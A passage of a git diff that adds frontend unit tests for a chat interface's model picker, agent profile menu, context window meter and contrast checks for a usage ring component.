+import { renderWithProviders } from "test-utils";
+
+const useActiveConversationMock = vi.fn();
+const useSettingsMock = vi.fn();
+const useActiveBackendMock = vi.fn();
+const switchAcpModelMutate = vi.fn();
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => useSettingsMock(),
+}));
+
+vi.mock("#/contexts/active-backend-context", async () => {
+  const actual = await vi.importActual<
+    typeof import("#/contexts/active-backend-context")
+  >("#/contexts/active-backend-context");
+  return {
+    ...actual,
+    useActiveBackend: () => useActiveBackendMock(),
+  };
+});
+
+vi.mock("#/hooks/mutation/use-switch-acp-model", () => ({
+  useSwitchAcpModel: () => ({ mutate: switchAcpModelMutate }),
+}));
+
+import { ChatInputModel } from "#/components/features/chat/components/chat-input-model";
+
+describe("ChatInputModel", () => {
+  beforeEach(() => {
+    useActiveConversationMock.mockReset();
+    useSettingsMock.mockReset();
+    useSettingsMock.mockReturnValue({ data: undefined });
+    useActiveBackendMock.mockReset();
+    // Default to a local backend (mirrors useActiveBackend's standalone
+    // fallback): live ACP model switching is local-only.
+    useActiveBackendMock.mockReturnValue({ backend: { kind: "local" } });
+    switchAcpModelMutate.mockReset();
+  });
+
+  it("renders the active conversation's llm_model when present", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        llm_model: "openai/gpt-4o",
+      },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    const model = screen.getByTestId("chat-input-llm-model");
+    expect(model).toBeInTheDocument();
+    expect(model).toHaveTextContent("openai/gpt…");
+    expect(model).toHaveAttribute("title", "openai/gpt-4o");
+    expect(
+      screen.queryByTestId("chat-input-llm-model-popover"),
+    ).not.toBeInTheDocument();
+
+    fireEvent.click(model);
+    const popover = screen.getByTestId("chat-input-llm-model-popover");
+    expect(popover).toHaveTextContent("openai/gpt-4o");
+    const llmSettingsLink = screen.getByRole("link", {
+      name: /LLM Profiles|SETTINGS\$LLM_PROFILES|LLM Settings|SETTINGS\$LLM_SETTINGS/,
+    });
+    expect(llmSettingsLink).toHaveAttribute("href", "/settings/llm");
+  });
+
+  it("renders nothing when llm_model is missing", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: { conversation_id: "test-conversation-id" },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders an ACP conversation model and links to Agent settings", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        acp_server: "claude-code",
+        llm_model: "sonnet",
+      },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    const model = screen.getByTestId("chat-input-llm-model");
+    // ACP surfaces show the provider's human label (matching the conversation
+    // list chip), resolved from ``acp_server`` + the raw ``acp_model`` id.
+    expect(model).toHaveAttribute("title", "Claude Sonnet");
+    fireEvent.click(model);
+    expect(screen.getByRole("link")).toHaveAttribute(
+      "href",
+      "/settings/agents",
+    );
+  });
+
+  it("does not fall back to the OpenHands settings model for active ACP conversations", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        llm_model: null,
+      },
+    });
+    useSettingsMock.mockReturnValue({
+      data: { llm_model: "openai/gpt-4o" },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("falls back to the user's default model from settings when there is no active conversation", () => {
+    // Arrange — home page render: no conversation yet, but the user has
+    // a default model configured. The switcher should still show.
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+    useSettingsMock.mockReturnValue({
+      data: { llm_model: "anthropic/claude-sonnet-4-20250514" },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    const model = screen.getByTestId("chat-input-llm-model");
+    expect(model).toHaveTextContent("anthropic/…");
+    expect(model).toHaveAttribute(
+      "title",
+      "anthropic/claude-sonnet-4-20250514",
+    );
+  });
+
+  it("uses the ACP settings model on the home page when ACP is active", () => {
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+    useSettingsMock.mockReturnValue({
+      data: {
+        llm_model: "openai/gpt-4o",
+        agent_settings: {
+          agent_kind: "acp",
+          acp_model: "gemini-2.5-pro",
+        },
+      },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    const model = screen.getByTestId("chat-input-llm-model");
+    expect(model).toHaveAttribute("title", "gemini-2.5-pro");
+    fireEvent.click(model);
+    expect(screen.getByRole("link")).toHaveAttribute(
+      "href",
+      "/settings/agents",
+    );
+  });
+
+  it("renders nothing when neither the conversation nor settings provide an llm_model", () => {
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+    useSettingsMock.mockReturnValue({ data: undefined });
+
+    renderWithProviders(<ChatInputModel />);
+
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders nothing for ACP conversations and does NOT fall back to settings.llm_model", () => {
+    // The ACP subprocess owns its model (via ``acp_model``); ``llm_model``
+    // is null on the conversation by design. The previous fallback to
+    // ``settings.llm_model`` would have resurrected the user's *default*
+    // OpenHands model on, say, a Claude-Code conversation — visibly
+    // wrong (the link goes to /settings, which is itself disabled for
+    // ACP) and silently lies about what model is actually running.
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        llm_model: null,
+      },
+    });
+    useSettingsMock.mockReturnValue({
+      data: { llm_model: "anthropic/claude-sonnet-4-20250514" },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    expect(
+      screen.queryByTestId("chat-input-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the provider default on the home page when ACP is the default agent and no model is saved", () => {
+    // Home-screen gating: no active conversation and no saved ``acp_model``.
+    // The next-created conversation will inherit the provider's
+    // ``default_model`` (see buildConfiguredAcpAgentSettings), so the picker
+    // shows that same default — matching what the runtime will actually
+    // start. Picker links to /settings/agent (not /settings) since
+    // ``settings.llm_model`` doesn't apply to ACP.
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+    useSettingsMock.mockReturnValue({
+      data: {
+        agent_settings: { agent_kind: "acp", acp_server: "claude-code" },
+        // settings.llm_model is set (user has an OpenHands default
+        // configured), but agent_kind=acp suppresses it.
+        llm_model: "anthropic/claude-sonnet-4-20250514",
+      },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    const model = screen.getByTestId("chat-input-llm-model");
+    // Claude Code's registered default (``opus[1m]``), shown as its
+    // human label to match the conversation list chip. See CLAUDE_MODELS in
+    // acp-providers.ts.
+    expect(model).toHaveAttribute("title", "Claude Opus (1M)");
+    fireEvent.click(model);
+    expect(screen.getByRole("link")).toHaveAttribute(
+      "href",
+      "/settings/agents",
+    );
+  });
+
+  it("renders the provider's available models as selectable rows for an ACP conversation", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        acp_server: "claude-code",
+        llm_model: "sonnet",
+      },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    fireEvent.click(screen.getByTestId("chat-input-llm-model"));
+
+    // Every registered Claude Code model is offered as a row, and the running
+    // one (sonnet) is marked selected.
+    const selectedRow = screen.getByTestId(
+      "chat-input-acp-model-option-sonnet",
+    );
+    expect(selectedRow).toBeInTheDocument();
+    expect(selectedRow).toHaveTextContent("Claude Sonnet");
+    expect(
+      screen.getByTestId("chat-input-acp-model-option-opus[1m]"),
+    ).toBeInTheDocument();
+  });
+
+  it("live-switches the model when a row is selected in an active ACP conversation", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        acp_server: "claude-code",
+        llm_model: "sonnet",
+      },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    fireEvent.click(screen.getByTestId("chat-input-llm-model"));
+    fireEvent.click(screen.getByTestId("chat-input-acp-model-option-opus[1m]"));
+
+    // Active conversation → live switch keyed by the conversation id from the
+    // navigation context (test-conversation-id), default-write NOT used.
+    expect(switchAcpModelMutate).toHaveBeenCalledWith({
+      conversationId: "test-conversation-id",
+      model: "opus[1m]",
+    });
+    // Popover closes after a selection.
+    expect(
+      screen.queryByTestId("chat-input-llm-model-popover"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("persists the choice as the default (conversationId null) in the home ACP case", () => {
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+    useSettingsMock.mockReturnValue({
+      data: {
+        agent_settings: { agent_kind: "acp", acp_server: "claude-code" },
+        llm_model: "anthropic/claude-sonnet-4-20250514",
+      },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    fireEvent.click(screen.getByTestId("chat-input-llm-model"));
+    fireEvent.click(screen.getByTestId("chat-input-acp-model-option-sonnet"));
+
+    // Home / no session → null conversationId routes the hook to the
+    // settings-default write path.
+    expect(switchAcpModelMutate).toHaveBeenCalledWith({
+      conversationId: null,
+      model: "sonnet",
+    });
+  });
+
+  it("offers selectable rows on a cloud backend for ACP conversations (mid-conversation model switching is supported)", () => {
+    useActiveBackendMock.mockReturnValue({ backend: { kind: "cloud" } });
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        agent_kind: "acp",
+        acp_server: "claude-code",
+        llm_model: "sonnet",
+      },
+    });
+
+    renderWithProviders(<ChatInputModel />);
+
+    fireEvent.click(screen.getByTestId("chat-input-llm-model"));
+
+    // Cloud ACP conversations support mid-conversation model switching,
+    // so selectable model rows are shown.
+    const selectedRow = screen.getByTestId(
+      "chat-input-acp-model-option-sonnet",
+    );
+    expect(selectedRow).toBeInTheDocument();
+    expect(selectedRow).toHaveTextContent("Claude Sonnet");
+    expect(
+      screen.getByTestId("chat-input-acp-model-option-opus[1m]"),
+    ).toBeInTheDocument();
+    const popover = screen.getByTestId("chat-input-llm-model-popover");
+    expect(popover).toHaveTextContent("Claude Sonnet");
+    expect(screen.getByRole("link")).toHaveAttribute(
+      "href",
+      "/settings/agents",
+    );
+  });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx b/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..80fb301b1704c5a5eb6f1cb9a564723812e58d21
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx
@@ -0,0 +1,215 @@
+import { fireEvent, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { setStoredConversationMetadata } from "#/api/conversation-metadata-store";
+
+const useAgentProfilesMock = vi.fn();
+const useActiveConversationMock = vi.fn();
+const activateProfileMutate = vi.fn();
+const createConversationMutate = vi.fn();
+
+vi.mock("#/hooks/query/use-agent-profiles", () => ({
+  useAgentProfiles: () => useAgentProfilesMock(),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+  useCreateConversation: () => ({ mutateAsync: createConversationMutate }),
+  CREATE_CONVERSATION_MUTATION_KEY: ["create-conversation"],
+}));
+
+vi.mock("#/hooks/mutation/use-activate-agent-profile", () => ({
+  useActivateAgentProfile: () => ({
+    mutate: activateProfileMutate,
+    isPending: false,
+  }),
+  ACTIVATE_AGENT_PROFILE_MUTATION_KEY: ["activate-agent-profile"],
+}));
+
+import { ChatInputProfileMenuContent } from "#/components/features/chat/components/chat-input-profile-picker";
+
+const PROFILES = [
+  { id: "id-default", name: "Default", agent_kind: "openhands" },
+  { id: "id-codex", name: "Codex", agent_kind: "acp" },
+];
+
+describe("ChatInputProfileMenuContent", () => {
+  const onClose = vi.fn();
+
+  beforeEach(() => {
+    useAgentProfilesMock.mockReset();
+    useActiveConversationMock.mockReset();
+    activateProfileMutate.mockReset();
+    createConversationMutate.mockReset();
+    // selectProfile chains .then off mutateAsync — keep a resolved default.
+    createConversationMutate.mockResolvedValue({ conversation_id: "conv-x" });
+    onClose.mockReset();
+    localStorage.clear();
+
+    useAgentProfilesMock.mockReturnValue({
+      data: { profiles: PROFILES, active_agent_profile_id: "id-default" },
+      isLoading: false,
+    });
+    useActiveConversationMock.mockReturnValue({
+      data: undefined,
+      isLoading: false,
+    });
+  });
+
+  // The menu content renders <li> children (it lives inside the tools menu's
+  // submenu <ContextMenu> in the app), so tests wrap it in a bare <ul>.
+  const renderMenu = (navigation: object = { conversationId: null }) =>
+    renderWithProviders(
+      <ul>
+        <ChatInputProfileMenuContent onClose={onClose} />
+      </ul>,
+      { navigation },
+    );
+
+  it("activates the picked profile on the home page", () => {
+    renderMenu();
+    fireEvent.click(
+      screen.getByTestId("chat-input-agent-profile-option-Codex"),
+    );
+
+    expect(activateProfileMutate).toHaveBeenCalledWith("id-codex");
+    expect(onClose).toHaveBeenCalled();
+  });
+
+  it("does not activate when the active profile is re-selected", () => {
+    renderMenu();
+    fireEvent.click(
+      screen.getByTestId("chat-input-agent-profile-option-Default"),
+    );
+
+    expect(activateProfileMutate).not.toHaveBeenCalled();
+    expect(onClose).toHaveBeenCalled();
+  });
+
+  it("links to the AgentProfile library in settings", () => {
+    const { container } = renderMenu();
+
+    expect(
+      container.ownerDocument.querySelector('a[href="/settings/agents"]'),
+    ).not.toBeNull();
+  });
+
+  it("treats the launched profile as current inside a blank conversation", () => {
+    // The active pointer is Codex, but this blank conversation was launched
+    // from Default — re-selecting Default must be a no-op (no replacement
+    // conversation, no activate).
+    useAgentProfilesMock.mockReturnValue({
+      data: { profiles: PROFILES, active_agent_profile_id: "id-codex" },
+      isLoading: false,
+    });
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        id: "conv-1",
+        launched_agent_profile: {
+          agent_profile_id: "id-default",
+          revision: 2,
+        },
+      },
+      isLoading: false,
+    });
+
+    renderMenu({ conversationId: "conv-1" });
+    fireEvent.click(
+      screen.getByTestId("chat-input-agent-profile-option-Default"),
+    );
+
+    expect(createConversationMutate).not.toHaveBeenCalled();
+    expect(activateProfileMutate).not.toHaveBeenCalled();
+  });
+
+  it("starts a replacement conversation with the selected profile and workspace", async () => {
+    const navigate = vi.fn();
+    createConversationMutate.mockResolvedValue({ conversation_id: "conv-2" });
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        id: "conv-workspace",
+        selected_repository: null,
+        selected_workspace: "/workspace/alpha",
+        launched_agent_profile: {
+          agent_profile_id: "id-default",
+          revision: 1,
+        },
+      },
+      isLoading: false,
+    });
+
+    renderMenu({ conversationId: "conv-workspace", navigate });
+
+    expect(screen.getByText("CHAT$START_NEW_WITH_PROFILE_HINT")).toBeVisible();
+    fireEvent.click(
+      screen.getByTestId("chat-input-agent-profile-option-Codex"),
+    );
+
+    expect(createConversationMutate).toHaveBeenCalledWith({
+      agentProfileId: "id-codex",
+      entryPoint: "blank_conversation_profile_picker",
+      workingDir: "/workspace/alpha",
+      workspaceMode: "local_repo",
+    });
+    expect(activateProfileMutate).not.toHaveBeenCalled();
+
+    // Navigation rides the mutateAsync promise (survives the menu unmounting).
+    await waitFor(() =>
+      expect(navigate).toHaveBeenCalledWith("/conversations/conv-2"),
+    );
+  });
+
+  it("preserves repository and plugin context when changing a blank conversation profile", () => {
+    setStoredConversationMetadata("conv-repo", {
+      selected_repository: "OpenHands/agent-canvas",
+      selected_branch: "feature",
+      git_provider: "github",
+      plugins: [
+        {
+          source: "github:OpenHands/extensions",
+          ref: "v1",
+          repo_path: "plugins/weather",
+        },
+      ],
+    });
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        id: "conv-repo",
+        selected_repository: "OpenHands/agent-canvas",
+        selected_branch: "feature",
+        git_provider: "github",
+        launched_agent_profile: {
+          agent_profile_id: "id-default",
+          revision: 1,
+        },
+      },
+      isLoading: false,
+    });
+
+    renderMenu({ conversationId: "conv-repo" });
+    fireEvent.click(
+      screen.getByTestId("chat-input-agent-profile-option-Codex"),
+    );
+
+    expect(createConversationMutate).toHaveBeenCalledWith(
+      expect.objectContaining({
+        agentProfileId: "id-codex",
+        repository: {
+          name: "OpenHands/agent-canvas",
+          gitProvider: "github",
+          branch: "feature",
+        },
+        plugins: [
+          {
+            source: "github:OpenHands/extensions",
+            ref: "v1",
+            repo_path: "plugins/weather",
+          },
+        ],
+      }),
+    );
+  });
+});
diff --git a/__tests__/components/features/chat/components/context-window-meter.test.tsx b/__tests__/components/features/chat/components/context-window-meter.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b6542d2bc2c249218192af6ff8dc6a113cb035b4
--- /dev/null
+++ b/__tests__/components/features/chat/components/context-window-meter.test.tsx
@@ -0,0 +1,201 @@
+import type { ReactNode } from "react";
+import { fireEvent, screen } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import useMetricsStore from "#/stores/metrics-store";
+
+const navigateToTabMock = vi.fn();
+
+vi.mock("#/hooks/use-select-conversation-tab", () => ({
+  useSelectConversationTab: () => ({
+    navigateToTab: navigateToTabMock,
+    selectTab: vi.fn(),
+    isTabActive: vi.fn(),
+    onTabChange: vi.fn(),
+    selectedTab: null,
+    isRightPanelShown: false,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({ data: undefined }),
+}));
+
+vi.mock("#/hooks/query/use-conversation-metrics", () => ({
+  useConversationMetrics: () => ({ data: undefined }),
+}));
+
+vi.mock("#/hooks/use-compact-context-action", () => ({
+  useCompactContextAction: () => ({
+    handleCompact: vi.fn(),
+    isCompacting: false,
+    isDisabled: false,
+    description: "CONVERSATION$COMPACT_CONTEXT_DESCRIPTION",
+  }),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: () => ({ curAgentState: "awaiting_user_input" }),
+}));
+
+// HeroUI Tooltip only mounts content on real-DOM hover; surface it eagerly.
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+  StyledTooltip: ({
+    content,
+    children,
+  }: {
+    content: ReactNode;
+    children: ReactNode;
+  }) => (
+    <>
+      {children}
+      <span data-testid="styled-tooltip-content">{content}</span>
+    </>
+  ),
+}));
+
+// eslint-disable-next-line import/first
+import { ContextWindowMeter } from "#/components/features/chat/components/context-window-meter";
+
+describe("ContextWindowMeter", () => {
+  afterEach(() => {
+    navigateToTabMock.mockClear();
+    useMetricsStore.setState({
+      cost: null,
+      max_budget_per_task: null,
+      usage: null,
+    });
+  });
+
+  it("does not render when context window metrics are unavailable", () => {
+    renderWithProviders(<ContextWindowMeter />);
+
+    expect(
+      screen.queryByTestId("context-window-meter"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows a Show Context tooltip on the ring", () => {
+    useMetricsStore.setState({
+      cost: null,
+      max_budget_per_task: null,
+      usage: {
+        prompt_tokens: 0,
+        completion_tokens: 0,
+        cache_read_tokens: 0,
+        cache_write_tokens: 0,
+        context_window: 1_000_000,
+        per_turn_token: 198_500,
+      },
+    });
+
+    renderWithProviders(<ContextWindowMeter />);
+
+    expect(screen.getByTestId("styled-tooltip-content")).toHaveTextContent(
+      "CHAT_INTERFACE$SHOW_CONTEXT",
+    );
+  });
+
+  // The trigger must share the actions-row icon-button hover fill. Its own
+  // `--oh-interactive-hover` fill was both wrong for this surface (that token
+  // is for 800 backgrounds; the composer is `--oh-surface`) and identical in
+  // value to `--oh-border`, which the ring track used, so hovering erased the
+  // track. `context-window-ring.test.tsx` asserts the resulting contrast.
+  it("uses the shared chat-input icon button styling for its hover fill", () => {
+    useMetricsStore.setState({
+      cost: null,
+      max_budget_per_task: null,
+      usage: {
+        prompt_tokens: 0,
+        completion_tokens: 0,
+        cache_read_tokens: 0,
+        cache_write_tokens: 0,
+        context_window: 1_000_000,
+        per_turn_token: 198_500,
+      },
+    });
+
+    renderWithProviders(<ContextWindowMeter />);
+
+    const trigger = screen.getByTestId("context-window-meter");
+    expect(trigger).toHaveClass("hover:bg-white/10");
+    expect(trigger.className).not.toContain("--oh-interactive-hover");
+  });
+
+  it("opens a popover with compact usage details", () => {
+    useMetricsStore.setState({
+      cost: null,
+      max_budget_per_task: null,
+      usage: {
+        prompt_tokens: 0,
+        completion_tokens: 0,
+        cache_read_tokens: 0,
+        cache_write_tokens: 0,
+        context_window: 1_000_000,
+        per_turn_token: 198_500,
+      },
+    });
+
+    renderWithProviders(<ContextWindowMeter />);
+
+    fireEvent.click(screen.getByTestId("context-window-meter"));
+
+    expect(
+      screen.getByTestId("context-window-meter-popover"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText("20% CONVERSATION$USED (80% CONVERSATION$LEFT)"),
+    ).toBeInTheDocument();
+    expect(screen.getByText("198.5k / 1.0M")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("context-window-compact-button"),
+    ).toHaveTextContent("CONVERSATION$COMPACT_CONTEXT");
+    expect(
+      screen.getByText("CONVERSATION$CONTEXT_WINDOW"),
+    ).toBeInTheDocument();
+  });
+
+  it("opens the Usage drawer from the popover meter", () => {
+    useMetricsStore.setState({
+      cost: 1.25,
+      max_budget_per_task: null,
+      usage: {
+        prompt_tokens: 0,
+        completion_tokens: 0,
+        cache_read_tokens: 0,
+        cache_write_tokens: 0,
+        context_window: 1_000_000,
+        per_turn_token: 198_500,
+      },
+    });
+
+    renderWithProviders(<ContextWindowMeter />);
+
+    fireEvent.click(screen.getByTestId("context-window-meter"));
+    fireEvent.click(screen.getByTestId("context-window-meter-bar-button"));
+
+    expect(navigateToTabMock).toHaveBeenCalledWith("usage");
+  });
+
+  it("opens the Usage drawer from the usage row", () => {
+    useMetricsStore.setState({
+      cost: 1.25,
+      max_budget_per_task: null,
+      usage: {
+        prompt_tokens: 0,
+        completion_tokens: 0,
+        cache_read_tokens: 0,
+        cache_write_tokens: 0,
+        context_window: 1_000_000,
+        per_turn_token: 198_500,
+      },
+    });
+
+    renderWithProviders(<ContextWindowMeter />);
+
+    fireEvent.click(screen.getByTestId("context-window-meter"));
+    fireEvent.click(screen.getByTestId("context-window-plan-usage"));
+
+    expect(navigateToTabMock).toHaveBeenCalledWith("usage");
+  });
+});
diff --git a/__tests__/components/features/chat/components/context-window-ring.test.tsx b/__tests__/components/features/chat/components/context-window-ring.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..34e1940cc2908dd2023c0776d332fb9fa291ff4e
--- /dev/null
+++ b/__tests__/components/features/chat/components/context-window-ring.test.tsx
@@ -0,0 +1,136 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import {
+  ContextWindowRing,
+  CONTEXT_WINDOW_RING_TRACK_ALPHA,
+} from "#/components/features/chat/components/context-window-ring";
+import { COLOR_THEMES } from "#/themes/color-themes";
+
+/**
+ * WCAG 2.1 SC 1.4.11 asks 3:1 for non-text contrast. The ring's track carries
+ * information (the arc's proportion is only readable against it), so it is held
+ * to that bar rather than treated as chrome.
+ */
+const MIN_RATIO = 3;
+
+/**
+ * Themes are read from `color-themes.ts`, not from a stylesheet. `index.css`
+ * ships the deepsea scale but `DEFAULT_COLOR_THEME` overrides it at runtime, so
+ * a stylesheet-derived assertion validates a palette no default install renders.
+ */
+const SURFACE_STOP = "--cool-grey-925"; // --oh-surface, the composer background
+const FOREGROUND_STOP = "--cool-grey-100"; // --oh-foreground, the neutral arc
+
+/** `chatInputIconButtonClassName` fills the trigger with `hover:bg-white/10`. */
+const HOVER_OVERLAY = "#FFFFFF";
+const HOVER_ALPHA = 0.1;
+
+function channels(hex: string): [number, number, number] {
+  const h = hex.replace("#", "");
+  return [0, 2, 4].map((i) => parseInt(h.slice(i, i + 2), 16)) as [
+    number,
+    number,
+    number,
+  ];
+}
+
+function relativeLuminance(hex: string): number {
+  const [r, g, b] = channels(hex).map((channel) => {
+    const c = channel / 255;
+    return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
+  });
+  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
+}
+
+function contrastRatio(a: string, b: string): number {
+  const [high, low] = [relativeLuminance(a), relativeLuminance(b)].sort(
+    (x, y) => y - x,
+  );
+  return (high + 0.05) / (low + 0.05);
+}
+
+/** Composite a translucent overlay onto an opaque backdrop. */
+function composite(overlay: string, backdrop: string, alpha: number): string {
+  const o = channels(overlay);
+  const b = channels(backdrop);
+  return `#${o
+    .map((channel, i) =>
+      Math.round(alpha * channel + (1 - alpha) * b[i])
+        .toString(16)
+        .padStart(2, "0"),
+    )
+    .join("")}`.toUpperCase();
+}
+
+describe("ContextWindowRing", () => {
+  it("draws the track and the arc in different tones", () => {
+    render(<ContextWindowRing percentage={5} />);
+
+    const track = screen.getByTestId("context-window-ring-track");
+    const arc = screen.getByTestId("context-window-ring-arc");
+
+    expect(track.style.stroke).not.toEqual(arc.getAttribute("stroke"));
+  });
+
+  it("derives the track from the foreground rather than a scale stop", () => {
+    render(<ContextWindowRing percentage={5} />);
+
+    // A stop-pinned track cannot hold across palettes; see the constant's docs.
+    expect(screen.getByTestId("context-window-ring-track").style.stroke).toEqual(
+      expect.stringContaining("var(--oh-foreground)"),
+    );
+  });
+
+  /**
+   * Read the alpha back out of what the component actually renders, so the
+   * contrast cases below describe the shipped track rather than a constant that
+   * could drift away from it.
+   */
+  function renderedTrackAlpha(): number {
+    render(<ContextWindowRing percentage={5} />);
+    const { stroke } = screen.getByTestId("context-window-ring-track").style;
+    const percent = stroke.match(/var\(--oh-foreground\)\s+([\d.]+)%/);
+    if (!percent) {
+      throw new Error(`track is not a foreground mix: ${stroke}`);
+    }
+    return Number(percent[1]) / 100;
+  }
+
+  it("renders the alpha it documents", () => {
+    expect(renderedTrackAlpha()).toBeCloseTo(CONTEXT_WINDOW_RING_TRACK_ALPHA, 5);
+  });
+
+  describe.each(Object.entries(COLOR_THEMES))(
+    "contrast under the %s palette",
+    (_key, theme) => {
+      const surface = theme.scale[SURFACE_STOP];
+      const arc = theme.scale[FOREGROUND_STOP];
+      const hoverFill = composite(HOVER_OVERLAY, surface, HOVER_ALPHA);
+
+      it("keeps the track legible against the composer surface", () => {
+        const track = composite(arc, surface, renderedTrackAlpha());
+
+        expect(contrastRatio(track, surface)).toBeGreaterThanOrEqual(MIN_RATIO);
+      });
+
+      it("keeps the track legible under the trigger's hover fill", () => {
+        const track = composite(arc, hoverFill, renderedTrackAlpha());
+
+        expect(contrastRatio(track, hoverFill)).toBeGreaterThanOrEqual(
+          MIN_RATIO,
+        );
+      });
+
+      it("keeps a neutral arc distinguishable from the track in both states", () => {
+        const alpha = renderedTrackAlpha();
+
+        expect(
+          contrastRatio(arc, composite(arc, surface, alpha)),
+        ).toBeGreaterThanOrEqual(MIN_RATIO);
+        expect(
+          contrastRatio(arc, composite(arc, hoverFill, alpha)),
+        ).toBeGreaterThanOrEqual(MIN_RATIO);
+      });
+    },
+  );
+});
diff --git a/__tests__/components/features/chat/components/resolve-picker-kind.test.ts b/__tests__/components/features/chat/components/resolve-picker-kind.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a430838a70f811805457ccce319d6160fa02b8e5
--- /dev/null
+++ b/__tests__/components/features/chat/components/resolve-picker-kind.test.ts
@@ -0,0 +1,43 @@
+import { describe, expect, it } from "vitest";
+import {
+  hasConversationStarted,
+  resolvePickerKind,
+} from "#/components/features/chat/components/resolve-picker-kind";
+
+// The pill is always an LLM selector (OSS-5735): agent-profile switching lives
+// in the "+" tools menu, and neither the backend nor the conversation's state
+// branches here any more — whether a pick is actionable is decided in
+// useChatInputLlmProfileState, so cloud never falls back to a raw model chip.
+describe("resolvePickerKind", () => {
+  it("shows the constrained model picker in an ACP context", () => {
+    expect(resolvePickerKind({ isAcp: true })).toBe("model");
+  });
+
+  it("shows the LLM-profile picker for an OpenHands context", () => {
+    expect(resolvePickerKind({ isAcp: false })).toBe("llm-profile");
+  });
+});
+
+describe("hasConversationStarted", () => {
+  const empty = {
+    isLoadingHistory: false,
+    hasUserEvents: false,
+    hasPendingUserMessages: false,
+    hasSubstantiveAgentActions: false,
+    hasModelEntries: false,
+  };
+
+  it("keeps a fully loaded blank conversation in pre-run state", () => {
+    expect(hasConversationStarted(empty)).toBe(false);
+  });
+
+  it.each([
+    "isLoadingHistory",
+    "hasUserEvents",
+    "hasPendingUserMessages",
+    "hasSubstantiveAgentActions",
+    "hasModelEntries",
+  ] as const)("treats %s as started", (field) => {
+    expect(hasConversationStarted({ ...empty, [field]: true })).toBe(true);
+  });
+});
diff --git a/__tests__/components/features/chat/file-path-chip.test.tsx b/__tests__/components/features/chat/file-path-chip.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ee69e5ae73679efb8457bfab6f57044b654789c1
--- /dev/null
+++ b/__tests__/components/features/chat/file-path-chip.test.tsx
@@ -0,0 +1,40 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { FilePathChip } from "#/components/features/chat/tool-visualizers/primitives/file-path-chip";
+
+const openWorkspaceFile = vi.fn();
+
+vi.mock("#/services/canvas-ui", () => ({
+  openWorkspaceFile: (...args: unknown[]) => openWorkspaceFile(...args),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "conv-1" }),
+}));
+
+describe("FilePathChip", () => {
+  beforeEach(() => {
+    openWorkspaceFile.mockClear();
+  });
+
